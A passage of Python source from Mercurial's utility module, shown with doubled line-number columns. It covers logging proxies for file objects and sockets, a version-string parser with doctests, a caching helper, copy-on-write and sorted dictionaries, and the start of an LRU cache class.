779 return object.__getattribute__(self, '_observedcall')(
779 'sendall', *args, **kwargs
780 'sendall', *args, **kwargs
780 )
781 )
781
782
782 def sendto(self, *args, **kwargs):
783 def sendto(self, *args, **kwargs):
783 return object.__getattribute__(self, '_observedcall')(
784 return object.__getattribute__(self, '_observedcall')(
784 'sendto', *args, **kwargs
785 'sendto', *args, **kwargs
785 )
786 )
786
787
787 def setblocking(self, *args, **kwargs):
788 def setblocking(self, *args, **kwargs):
788 return object.__getattribute__(self, '_observedcall')(
789 return object.__getattribute__(self, '_observedcall')(
789 'setblocking', *args, **kwargs
790 'setblocking', *args, **kwargs
790 )
791 )
791
792
792 def settimeout(self, *args, **kwargs):
793 def settimeout(self, *args, **kwargs):
793 return object.__getattribute__(self, '_observedcall')(
794 return object.__getattribute__(self, '_observedcall')(
794 'settimeout', *args, **kwargs
795 'settimeout', *args, **kwargs
795 )
796 )
796
797
797 def gettimeout(self, *args, **kwargs):
798 def gettimeout(self, *args, **kwargs):
798 return object.__getattribute__(self, '_observedcall')(
799 return object.__getattribute__(self, '_observedcall')(
799 'gettimeout', *args, **kwargs
800 'gettimeout', *args, **kwargs
800 )
801 )
801
802
802 def setsockopt(self, *args, **kwargs):
803 def setsockopt(self, *args, **kwargs):
803 return object.__getattribute__(self, '_observedcall')(
804 return object.__getattribute__(self, '_observedcall')(
804 'setsockopt', *args, **kwargs
805 'setsockopt', *args, **kwargs
805 )
806 )
806
807
807
808
808 class baseproxyobserver(object):
809 class baseproxyobserver(object):
809 def __init__(self, fh, name, logdata, logdataapis):
810 def __init__(self, fh, name, logdata, logdataapis):
810 self.fh = fh
811 self.fh = fh
811 self.name = name
812 self.name = name
812 self.logdata = logdata
813 self.logdata = logdata
813 self.logdataapis = logdataapis
814 self.logdataapis = logdataapis
814
815
815 def _writedata(self, data):
816 def _writedata(self, data):
816 if not self.logdata:
817 if not self.logdata:
817 if self.logdataapis:
818 if self.logdataapis:
818 self.fh.write(b'\n')
819 self.fh.write(b'\n')
819 self.fh.flush()
820 self.fh.flush()
820 return
821 return
821
822
822 # Simple case writes all data on a single line.
823 # Simple case writes all data on a single line.
823 if b'\n' not in data:
824 if b'\n' not in data:
824 if self.logdataapis:
825 if self.logdataapis:
825 self.fh.write(b': %s\n' % stringutil.escapestr(data))
826 self.fh.write(b': %s\n' % stringutil.escapestr(data))
826 else:
827 else:
827 self.fh.write(
828 self.fh.write(
828 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
829 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
829 )
830 )
830 self.fh.flush()
831 self.fh.flush()
831 return
832 return
832
833
833 # Data with newlines is written to multiple lines.
834 # Data with newlines is written to multiple lines.
834 if self.logdataapis:
835 if self.logdataapis:
835 self.fh.write(b':\n')
836 self.fh.write(b':\n')
836
837
837 lines = data.splitlines(True)
838 lines = data.splitlines(True)
838 for line in lines:
839 for line in lines:
839 self.fh.write(
840 self.fh.write(
840 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
841 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
841 )
842 )
842 self.fh.flush()
843 self.fh.flush()
843
844
844
845
845 class fileobjectobserver(baseproxyobserver):
846 class fileobjectobserver(baseproxyobserver):
846 """Logs file object activity."""
847 """Logs file object activity."""
847
848
848 def __init__(
849 def __init__(
849 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
850 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
850 ):
851 ):
851 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
852 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
852 self.reads = reads
853 self.reads = reads
853 self.writes = writes
854 self.writes = writes
854
855
855 def read(self, res, size=-1):
856 def read(self, res, size=-1):
856 if not self.reads:
857 if not self.reads:
857 return
858 return
858 # Python 3 can return None from reads at EOF instead of empty strings.
859 # Python 3 can return None from reads at EOF instead of empty strings.
859 if res is None:
860 if res is None:
860 res = b''
861 res = b''
861
862
862 if size == -1 and res == b'':
863 if size == -1 and res == b'':
863 # Suppress pointless read(-1) calls that return
864 # Suppress pointless read(-1) calls that return
864 # nothing. These happen _a lot_ on Python 3, and there
865 # nothing. These happen _a lot_ on Python 3, and there
865 # doesn't seem to be a better workaround to have matching
866 # doesn't seem to be a better workaround to have matching
866 # Python 2 and 3 behavior. :(
867 # Python 2 and 3 behavior. :(
867 return
868 return
868
869
869 if self.logdataapis:
870 if self.logdataapis:
870 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
871 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
871
872
872 self._writedata(res)
873 self._writedata(res)
873
874
874 def readline(self, res, limit=-1):
875 def readline(self, res, limit=-1):
875 if not self.reads:
876 if not self.reads:
876 return
877 return
877
878
878 if self.logdataapis:
879 if self.logdataapis:
879 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
880 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
880
881
881 self._writedata(res)
882 self._writedata(res)
882
883
883 def readinto(self, res, dest):
884 def readinto(self, res, dest):
884 if not self.reads:
885 if not self.reads:
885 return
886 return
886
887
887 if self.logdataapis:
888 if self.logdataapis:
888 self.fh.write(
889 self.fh.write(
889 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
890 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
890 )
891 )
891
892
892 data = dest[0:res] if res is not None else b''
893 data = dest[0:res] if res is not None else b''
893
894
894 # _writedata() uses "in" operator and is confused by memoryview because
895 # _writedata() uses "in" operator and is confused by memoryview because
895 # characters are ints on Python 3.
896 # characters are ints on Python 3.
896 if isinstance(data, memoryview):
897 if isinstance(data, memoryview):
897 data = data.tobytes()
898 data = data.tobytes()
898
899
899 self._writedata(data)
900 self._writedata(data)
900
901
901 def write(self, res, data):
902 def write(self, res, data):
902 if not self.writes:
903 if not self.writes:
903 return
904 return
904
905
905 # Python 2 returns None from some write() calls. Python 3 (reasonably)
906 # Python 2 returns None from some write() calls. Python 3 (reasonably)
906 # returns the integer bytes written.
907 # returns the integer bytes written.
907 if res is None and data:
908 if res is None and data:
908 res = len(data)
909 res = len(data)
909
910
910 if self.logdataapis:
911 if self.logdataapis:
911 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
912 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
912
913
913 self._writedata(data)
914 self._writedata(data)
914
915
915 def flush(self, res):
916 def flush(self, res):
916 if not self.writes:
917 if not self.writes:
917 return
918 return
918
919
919 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
920 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
920
921
921 # For observedbufferedinputpipe.
922 # For observedbufferedinputpipe.
922 def bufferedread(self, res, size):
923 def bufferedread(self, res, size):
923 if not self.reads:
924 if not self.reads:
924 return
925 return
925
926
926 if self.logdataapis:
927 if self.logdataapis:
927 self.fh.write(
928 self.fh.write(
928 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
929 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
929 )
930 )
930
931
931 self._writedata(res)
932 self._writedata(res)
932
933
933 def bufferedreadline(self, res):
934 def bufferedreadline(self, res):
934 if not self.reads:
935 if not self.reads:
935 return
936 return
936
937
937 if self.logdataapis:
938 if self.logdataapis:
938 self.fh.write(
939 self.fh.write(
939 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
940 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
940 )
941 )
941
942
942 self._writedata(res)
943 self._writedata(res)
943
944
944
945
945 def makeloggingfileobject(
946 def makeloggingfileobject(
946 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
947 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
947 ):
948 ):
948 """Turn a file object into a logging file object."""
949 """Turn a file object into a logging file object."""
949
950
950 observer = fileobjectobserver(
951 observer = fileobjectobserver(
951 logh,
952 logh,
952 name,
953 name,
953 reads=reads,
954 reads=reads,
954 writes=writes,
955 writes=writes,
955 logdata=logdata,
956 logdata=logdata,
956 logdataapis=logdataapis,
957 logdataapis=logdataapis,
957 )
958 )
958 return fileobjectproxy(fh, observer)
959 return fileobjectproxy(fh, observer)
959
960
960
961
961 class socketobserver(baseproxyobserver):
962 class socketobserver(baseproxyobserver):
962 """Logs socket activity."""
963 """Logs socket activity."""
963
964
964 def __init__(
965 def __init__(
965 self,
966 self,
966 fh,
967 fh,
967 name,
968 name,
968 reads=True,
969 reads=True,
969 writes=True,
970 writes=True,
970 states=True,
971 states=True,
971 logdata=False,
972 logdata=False,
972 logdataapis=True,
973 logdataapis=True,
973 ):
974 ):
974 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
975 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
975 self.reads = reads
976 self.reads = reads
976 self.writes = writes
977 self.writes = writes
977 self.states = states
978 self.states = states
978
979
979 def makefile(self, res, mode=None, bufsize=None):
980 def makefile(self, res, mode=None, bufsize=None):
980 if not self.states:
981 if not self.states:
981 return
982 return
982
983
983 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
984 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
984
985
985 def recv(self, res, size, flags=0):
986 def recv(self, res, size, flags=0):
986 if not self.reads:
987 if not self.reads:
987 return
988 return
988
989
989 if self.logdataapis:
990 if self.logdataapis:
990 self.fh.write(
991 self.fh.write(
991 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
992 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
992 )
993 )
993 self._writedata(res)
994 self._writedata(res)
994
995
995 def recvfrom(self, res, size, flags=0):
996 def recvfrom(self, res, size, flags=0):
996 if not self.reads:
997 if not self.reads:
997 return
998 return
998
999
999 if self.logdataapis:
1000 if self.logdataapis:
1000 self.fh.write(
1001 self.fh.write(
1001 b'%s> recvfrom(%d, %d) -> %d'
1002 b'%s> recvfrom(%d, %d) -> %d'
1002 % (self.name, size, flags, len(res[0]))
1003 % (self.name, size, flags, len(res[0]))
1003 )
1004 )
1004
1005
1005 self._writedata(res[0])
1006 self._writedata(res[0])
1006
1007
1007 def recvfrom_into(self, res, buf, size, flags=0):
1008 def recvfrom_into(self, res, buf, size, flags=0):
1008 if not self.reads:
1009 if not self.reads:
1009 return
1010 return
1010
1011
1011 if self.logdataapis:
1012 if self.logdataapis:
1012 self.fh.write(
1013 self.fh.write(
1013 b'%s> recvfrom_into(%d, %d) -> %d'
1014 b'%s> recvfrom_into(%d, %d) -> %d'
1014 % (self.name, size, flags, res[0])
1015 % (self.name, size, flags, res[0])
1015 )
1016 )
1016
1017
1017 self._writedata(buf[0 : res[0]])
1018 self._writedata(buf[0 : res[0]])
1018
1019
1019 def recv_into(self, res, buf, size=0, flags=0):
1020 def recv_into(self, res, buf, size=0, flags=0):
1020 if not self.reads:
1021 if not self.reads:
1021 return
1022 return
1022
1023
1023 if self.logdataapis:
1024 if self.logdataapis:
1024 self.fh.write(
1025 self.fh.write(
1025 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1026 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1026 )
1027 )
1027
1028
1028 self._writedata(buf[0:res])
1029 self._writedata(buf[0:res])
1029
1030
1030 def send(self, res, data, flags=0):
1031 def send(self, res, data, flags=0):
1031 if not self.writes:
1032 if not self.writes:
1032 return
1033 return
1033
1034
1034 self.fh.write(
1035 self.fh.write(
1035 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1036 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1036 )
1037 )
1037 self._writedata(data)
1038 self._writedata(data)
1038
1039
1039 def sendall(self, res, data, flags=0):
1040 def sendall(self, res, data, flags=0):
1040 if not self.writes:
1041 if not self.writes:
1041 return
1042 return
1042
1043
1043 if self.logdataapis:
1044 if self.logdataapis:
1044 # Returns None on success. So don't bother reporting return value.
1045 # Returns None on success. So don't bother reporting return value.
1045 self.fh.write(
1046 self.fh.write(
1046 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1047 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1047 )
1048 )
1048
1049
1049 self._writedata(data)
1050 self._writedata(data)
1050
1051
1051 def sendto(self, res, data, flagsoraddress, address=None):
1052 def sendto(self, res, data, flagsoraddress, address=None):
1052 if not self.writes:
1053 if not self.writes:
1053 return
1054 return
1054
1055
1055 if address:
1056 if address:
1056 flags = flagsoraddress
1057 flags = flagsoraddress
1057 else:
1058 else:
1058 flags = 0
1059 flags = 0
1059
1060
1060 if self.logdataapis:
1061 if self.logdataapis:
1061 self.fh.write(
1062 self.fh.write(
1062 b'%s> sendto(%d, %d, %r) -> %d'
1063 b'%s> sendto(%d, %d, %r) -> %d'
1063 % (self.name, len(data), flags, address, res)
1064 % (self.name, len(data), flags, address, res)
1064 )
1065 )
1065
1066
1066 self._writedata(data)
1067 self._writedata(data)
1067
1068
1068 def setblocking(self, res, flag):
1069 def setblocking(self, res, flag):
1069 if not self.states:
1070 if not self.states:
1070 return
1071 return
1071
1072
1072 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1073 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1073
1074
1074 def settimeout(self, res, value):
1075 def settimeout(self, res, value):
1075 if not self.states:
1076 if not self.states:
1076 return
1077 return
1077
1078
1078 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1079 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1079
1080
1080 def gettimeout(self, res):
1081 def gettimeout(self, res):
1081 if not self.states:
1082 if not self.states:
1082 return
1083 return
1083
1084
1084 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1085 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1085
1086
1086 def setsockopt(self, res, level, optname, value):
1087 def setsockopt(self, res, level, optname, value):
1087 if not self.states:
1088 if not self.states:
1088 return
1089 return
1089
1090
1090 self.fh.write(
1091 self.fh.write(
1091 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1092 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1092 % (self.name, level, optname, value, res)
1093 % (self.name, level, optname, value, res)
1093 )
1094 )
1094
1095
1095
1096
1096 def makeloggingsocket(
1097 def makeloggingsocket(
1097 logh,
1098 logh,
1098 fh,
1099 fh,
1099 name,
1100 name,
1100 reads=True,
1101 reads=True,
1101 writes=True,
1102 writes=True,
1102 states=True,
1103 states=True,
1103 logdata=False,
1104 logdata=False,
1104 logdataapis=True,
1105 logdataapis=True,
1105 ):
1106 ):
1106 """Turn a socket into a logging socket."""
1107 """Turn a socket into a logging socket."""
1107
1108
1108 observer = socketobserver(
1109 observer = socketobserver(
1109 logh,
1110 logh,
1110 name,
1111 name,
1111 reads=reads,
1112 reads=reads,
1112 writes=writes,
1113 writes=writes,
1113 states=states,
1114 states=states,
1114 logdata=logdata,
1115 logdata=logdata,
1115 logdataapis=logdataapis,
1116 logdataapis=logdataapis,
1116 )
1117 )
1117 return socketproxy(fh, observer)
1118 return socketproxy(fh, observer)
1118
1119
1119
1120
1120 def version():
1121 def version():
1121 """Return version information if available."""
1122 """Return version information if available."""
1122 try:
1123 try:
1123 from . import __version__
1124 from . import __version__
1124
1125
1125 return __version__.version
1126 return __version__.version
1126 except ImportError:
1127 except ImportError:
1127 return b'unknown'
1128 return b'unknown'
1128
1129
1129
1130
1130 def versiontuple(v=None, n=4):
1131 def versiontuple(v=None, n=4):
1131 """Parses a Mercurial version string into an N-tuple.
1132 """Parses a Mercurial version string into an N-tuple.
1132
1133
1133 The version string to be parsed is specified with the ``v`` argument.
1134 The version string to be parsed is specified with the ``v`` argument.
1134 If it isn't defined, the current Mercurial version string will be parsed.
1135 If it isn't defined, the current Mercurial version string will be parsed.
1135
1136
1136 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1137 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1137 returned values:
1138 returned values:
1138
1139
1139 >>> v = b'3.6.1+190-df9b73d2d444'
1140 >>> v = b'3.6.1+190-df9b73d2d444'
1140 >>> versiontuple(v, 2)
1141 >>> versiontuple(v, 2)
1141 (3, 6)
1142 (3, 6)
1142 >>> versiontuple(v, 3)
1143 >>> versiontuple(v, 3)
1143 (3, 6, 1)
1144 (3, 6, 1)
1144 >>> versiontuple(v, 4)
1145 >>> versiontuple(v, 4)
1145 (3, 6, 1, '190-df9b73d2d444')
1146 (3, 6, 1, '190-df9b73d2d444')
1146
1147
1147 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1148 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1148 (3, 6, 1, '190-df9b73d2d444+20151118')
1149 (3, 6, 1, '190-df9b73d2d444+20151118')
1149
1150
1150 >>> v = b'3.6'
1151 >>> v = b'3.6'
1151 >>> versiontuple(v, 2)
1152 >>> versiontuple(v, 2)
1152 (3, 6)
1153 (3, 6)
1153 >>> versiontuple(v, 3)
1154 >>> versiontuple(v, 3)
1154 (3, 6, None)
1155 (3, 6, None)
1155 >>> versiontuple(v, 4)
1156 >>> versiontuple(v, 4)
1156 (3, 6, None, None)
1157 (3, 6, None, None)
1157
1158
1158 >>> v = b'3.9-rc'
1159 >>> v = b'3.9-rc'
1159 >>> versiontuple(v, 2)
1160 >>> versiontuple(v, 2)
1160 (3, 9)
1161 (3, 9)
1161 >>> versiontuple(v, 3)
1162 >>> versiontuple(v, 3)
1162 (3, 9, None)
1163 (3, 9, None)
1163 >>> versiontuple(v, 4)
1164 >>> versiontuple(v, 4)
1164 (3, 9, None, 'rc')
1165 (3, 9, None, 'rc')
1165
1166
1166 >>> v = b'3.9-rc+2-02a8fea4289b'
1167 >>> v = b'3.9-rc+2-02a8fea4289b'
1167 >>> versiontuple(v, 2)
1168 >>> versiontuple(v, 2)
1168 (3, 9)
1169 (3, 9)
1169 >>> versiontuple(v, 3)
1170 >>> versiontuple(v, 3)
1170 (3, 9, None)
1171 (3, 9, None)
1171 >>> versiontuple(v, 4)
1172 >>> versiontuple(v, 4)
1172 (3, 9, None, 'rc+2-02a8fea4289b')
1173 (3, 9, None, 'rc+2-02a8fea4289b')
1173
1174
1174 >>> versiontuple(b'4.6rc0')
1175 >>> versiontuple(b'4.6rc0')
1175 (4, 6, None, 'rc0')
1176 (4, 6, None, 'rc0')
1176 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1177 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1177 (4, 6, None, 'rc0+12-425d55e54f98')
1178 (4, 6, None, 'rc0+12-425d55e54f98')
1178 >>> versiontuple(b'.1.2.3')
1179 >>> versiontuple(b'.1.2.3')
1179 (None, None, None, '.1.2.3')
1180 (None, None, None, '.1.2.3')
1180 >>> versiontuple(b'12.34..5')
1181 >>> versiontuple(b'12.34..5')
1181 (12, 34, None, '..5')
1182 (12, 34, None, '..5')
1182 >>> versiontuple(b'1.2.3.4.5.6')
1183 >>> versiontuple(b'1.2.3.4.5.6')
1183 (1, 2, 3, '.4.5.6')
1184 (1, 2, 3, '.4.5.6')
1184 """
1185 """
1185 if not v:
1186 if not v:
1186 v = version()
1187 v = version()
1187 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1188 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1188 if not m:
1189 if not m:
1189 vparts, extra = b'', v
1190 vparts, extra = b'', v
1190 elif m.group(2):
1191 elif m.group(2):
1191 vparts, extra = m.groups()
1192 vparts, extra = m.groups()
1192 else:
1193 else:
1193 vparts, extra = m.group(1), None
1194 vparts, extra = m.group(1), None
1194
1195
1195 assert vparts is not None # help pytype
1196 assert vparts is not None # help pytype
1196
1197
1197 vints = []
1198 vints = []
1198 for i in vparts.split(b'.'):
1199 for i in vparts.split(b'.'):
1199 try:
1200 try:
1200 vints.append(int(i))
1201 vints.append(int(i))
1201 except ValueError:
1202 except ValueError:
1202 break
1203 break
1203 # (3, 6) -> (3, 6, None)
1204 # (3, 6) -> (3, 6, None)
1204 while len(vints) < 3:
1205 while len(vints) < 3:
1205 vints.append(None)
1206 vints.append(None)
1206
1207
1207 if n == 2:
1208 if n == 2:
1208 return (vints[0], vints[1])
1209 return (vints[0], vints[1])
1209 if n == 3:
1210 if n == 3:
1210 return (vints[0], vints[1], vints[2])
1211 return (vints[0], vints[1], vints[2])
1211 if n == 4:
1212 if n == 4:
1212 return (vints[0], vints[1], vints[2], extra)
1213 return (vints[0], vints[1], vints[2], extra)
1213
1214
1214
1215
1215 def cachefunc(func):
1216 def cachefunc(func):
1216 '''cache the result of function calls'''
1217 '''cache the result of function calls'''
1217 # XXX doesn't handle keywords args
1218 # XXX doesn't handle keywords args
1218 if func.__code__.co_argcount == 0:
1219 if func.__code__.co_argcount == 0:
1219 listcache = []
1220 listcache = []
1220
1221
1221 def f():
1222 def f():
1222 if len(listcache) == 0:
1223 if len(listcache) == 0:
1223 listcache.append(func())
1224 listcache.append(func())
1224 return listcache[0]
1225 return listcache[0]
1225
1226
1226 return f
1227 return f
1227 cache = {}
1228 cache = {}
1228 if func.__code__.co_argcount == 1:
1229 if func.__code__.co_argcount == 1:
1229 # we gain a small amount of time because
1230 # we gain a small amount of time because
1230 # we don't need to pack/unpack the list
1231 # we don't need to pack/unpack the list
1231 def f(arg):
1232 def f(arg):
1232 if arg not in cache:
1233 if arg not in cache:
1233 cache[arg] = func(arg)
1234 cache[arg] = func(arg)
1234 return cache[arg]
1235 return cache[arg]
1235
1236
1236 else:
1237 else:
1237
1238
1238 def f(*args):
1239 def f(*args):
1239 if args not in cache:
1240 if args not in cache:
1240 cache[args] = func(*args)
1241 cache[args] = func(*args)
1241 return cache[args]
1242 return cache[args]
1242
1243
1243 return f
1244 return f
1244
1245
1245
1246
1246 class cow(object):
1247 class cow(object):
1247 """helper class to make copy-on-write easier
1248 """helper class to make copy-on-write easier
1248
1249
1249 Call preparewrite before doing any writes.
1250 Call preparewrite before doing any writes.
1250 """
1251 """
1251
1252
1252 def preparewrite(self):
1253 def preparewrite(self):
1253 """call this before writes, return self or a copied new object"""
1254 """call this before writes, return self or a copied new object"""
1254 if getattr(self, '_copied', 0):
1255 if getattr(self, '_copied', 0):
1255 self._copied -= 1
1256 self._copied -= 1
1256 return self.__class__(self)
1257 return self.__class__(self)
1257 return self
1258 return self
1258
1259
1259 def copy(self):
1260 def copy(self):
1260 """always do a cheap copy"""
1261 """always do a cheap copy"""
1261 self._copied = getattr(self, '_copied', 0) + 1
1262 self._copied = getattr(self, '_copied', 0) + 1
1262 return self
1263 return self
1263
1264
1264
1265
1265 class sortdict(collections.OrderedDict):
1266 class sortdict(collections.OrderedDict):
1266 '''a simple sorted dictionary
1267 '''a simple sorted dictionary
1267
1268
1268 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1269 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1269 >>> d2 = d1.copy()
1270 >>> d2 = d1.copy()
1270 >>> d2
1271 >>> d2
1271 sortdict([('a', 0), ('b', 1)])
1272 sortdict([('a', 0), ('b', 1)])
1272 >>> d2.update([(b'a', 2)])
1273 >>> d2.update([(b'a', 2)])
1273 >>> list(d2.keys()) # should still be in last-set order
1274 >>> list(d2.keys()) # should still be in last-set order
1274 ['b', 'a']
1275 ['b', 'a']
1275 >>> d1.insert(1, b'a.5', 0.5)
1276 >>> d1.insert(1, b'a.5', 0.5)
1276 >>> d1
1277 >>> d1
1277 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1278 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1278 '''
1279 '''
1279
1280
1280 def __setitem__(self, key, value):
1281 def __setitem__(self, key, value):
1281 if key in self:
1282 if key in self:
1282 del self[key]
1283 del self[key]
1283 super(sortdict, self).__setitem__(key, value)
1284 super(sortdict, self).__setitem__(key, value)
1284
1285
1285 if pycompat.ispypy:
1286 if pycompat.ispypy:
1286 # __setitem__() isn't called as of PyPy 5.8.0
1287 # __setitem__() isn't called as of PyPy 5.8.0
1287 def update(self, src):
1288 def update(self, src):
1288 if isinstance(src, dict):
1289 if isinstance(src, dict):
1289 src = pycompat.iteritems(src)
1290 src = pycompat.iteritems(src)
1290 for k, v in src:
1291 for k, v in src:
1291 self[k] = v
1292 self[k] = v
1292
1293
1293 def insert(self, position, key, value):
1294 def insert(self, position, key, value):
1294 for (i, (k, v)) in enumerate(list(self.items())):
1295 for (i, (k, v)) in enumerate(list(self.items())):
1295 if i == position:
1296 if i == position:
1296 self[key] = value
1297 self[key] = value
1297 if i >= position:
1298 if i >= position:
1298 del self[k]
1299 del self[k]
1299 self[k] = v
1300 self[k] = v
1300
1301
1301
1302
1302 class cowdict(cow, dict):
1303 class cowdict(cow, dict):
1303 """copy-on-write dict
1304 """copy-on-write dict
1304
1305
1305 Be sure to call d = d.preparewrite() before writing to d.
1306 Be sure to call d = d.preparewrite() before writing to d.
1306
1307
1307 >>> a = cowdict()
1308 >>> a = cowdict()
1308 >>> a is a.preparewrite()
1309 >>> a is a.preparewrite()
1309 True
1310 True
1310 >>> b = a.copy()
1311 >>> b = a.copy()
1311 >>> b is a
1312 >>> b is a
1312 True
1313 True
1313 >>> c = b.copy()
1314 >>> c = b.copy()
1314 >>> c is a
1315 >>> c is a
1315 True
1316 True
1316 >>> a = a.preparewrite()
1317 >>> a = a.preparewrite()
1317 >>> b is a
1318 >>> b is a
1318 False
1319 False
1319 >>> a is a.preparewrite()
1320 >>> a is a.preparewrite()
1320 True
1321 True
1321 >>> c = c.preparewrite()
1322 >>> c = c.preparewrite()
1322 >>> b is c
1323 >>> b is c
1323 False
1324 False
1324 >>> b is b.preparewrite()
1325 >>> b is b.preparewrite()
1325 True
1326 True
1326 """
1327 """
1327
1328
1328
1329
1329 class cowsortdict(cow, sortdict):
1330 class cowsortdict(cow, sortdict):
1330 """copy-on-write sortdict
1331 """copy-on-write sortdict
1331
1332
1332 Be sure to call d = d.preparewrite() before writing to d.
1333 Be sure to call d = d.preparewrite() before writing to d.
1333 """
1334 """
1334
1335
1335
1336
1336 class transactional(object): # pytype: disable=ignored-metaclass
1337 class transactional(object): # pytype: disable=ignored-metaclass
1337 """Base class for making a transactional type into a context manager."""
1338 """Base class for making a transactional type into a context manager."""
1338
1339
1339 __metaclass__ = abc.ABCMeta
1340 __metaclass__ = abc.ABCMeta
1340
1341
1341 @abc.abstractmethod
1342 @abc.abstractmethod
1342 def close(self):
1343 def close(self):
1343 """Successfully closes the transaction."""
1344 """Successfully closes the transaction."""
1344
1345
1345 @abc.abstractmethod
1346 @abc.abstractmethod
1346 def release(self):
1347 def release(self):
1347 """Marks the end of the transaction.
1348 """Marks the end of the transaction.
1348
1349
1349 If the transaction has not been closed, it will be aborted.
1350 If the transaction has not been closed, it will be aborted.
1350 """
1351 """
1351
1352
1352 def __enter__(self):
1353 def __enter__(self):
1353 return self
1354 return self
1354
1355
1355 def __exit__(self, exc_type, exc_val, exc_tb):
1356 def __exit__(self, exc_type, exc_val, exc_tb):
1356 try:
1357 try:
1357 if exc_type is None:
1358 if exc_type is None:
1358 self.close()
1359 self.close()
1359 finally:
1360 finally:
1360 self.release()
1361 self.release()
1361
1362
1362
1363
1363 @contextlib.contextmanager
1364 @contextlib.contextmanager
1364 def acceptintervention(tr=None):
1365 def acceptintervention(tr=None):
1365 """A context manager that closes the transaction on InterventionRequired
1366 """A context manager that closes the transaction on InterventionRequired
1366
1367
1367 If no transaction was provided, this simply runs the body and returns
1368 If no transaction was provided, this simply runs the body and returns
1368 """
1369 """
1369 if not tr:
1370 if not tr:
1370 yield
1371 yield
1371 return
1372 return
1372 try:
1373 try:
1373 yield
1374 yield
1374 tr.close()
1375 tr.close()
1375 except error.InterventionRequired:
1376 except error.InterventionRequired:
1376 tr.close()
1377 tr.close()
1377 raise
1378 raise
1378 finally:
1379 finally:
1379 tr.release()
1380 tr.release()
1380
1381
1381
1382
1382 @contextlib.contextmanager
1383 @contextlib.contextmanager
1383 def nullcontextmanager():
1384 def nullcontextmanager():
1384 yield
1385 yield
1385
1386
1386
1387
1387 class _lrucachenode(object):
1388 class _lrucachenode(object):
1388 """A node in a doubly linked list.
1389 """A node in a doubly linked list.
1389
1390
1390 Holds a reference to nodes on either side as well as a key-value
1391 Holds a reference to nodes on either side as well as a key-value
1391 pair for the dictionary entry.
1392 pair for the dictionary entry.
1392 """
1393 """
1393
1394
1394 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1395 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1395
1396
1396 def __init__(self):
1397 def __init__(self):
1397 self.next = None
1398 self.next = None
1398 self.prev = None
1399 self.prev = None
1399
1400
1400 self.key = _notset
1401 self.key = _notset
1401 self.value = None
1402 self.value = None
1402 self.cost = 0
1403 self.cost = 0
1403
1404
1404 def markempty(self):
1405 def markempty(self):
1405 """Mark the node as emptied."""
1406 """Mark the node as emptied."""
1406 self.key = _notset
1407 self.key = _notset
1407 self.value = None
1408 self.value = None
1408 self.cost = 0
1409 self.cost = 0
1409
1410
1410
1411
1411 class lrucachedict(object):
1412 class lrucachedict(object):
1412 """Dict that caches most recent accesses and sets.
1413 """Dict that caches most recent accesses and sets.
1413
1414
1414 The dict consists of an actual backing dict - indexed by original
1415 The dict consists of an actual backing dict - indexed by original
1415 key - and a doubly linked circular list defining the order of entries in
1416 key - and a doubly linked circular list defining the order of entries in
1416 the cache.
1417 the cache.
1417
1418
1418 The head node is the newest entry in the cache. If the cache is full,
1419 The head node is the newest entry in the cache. If the cache is full,
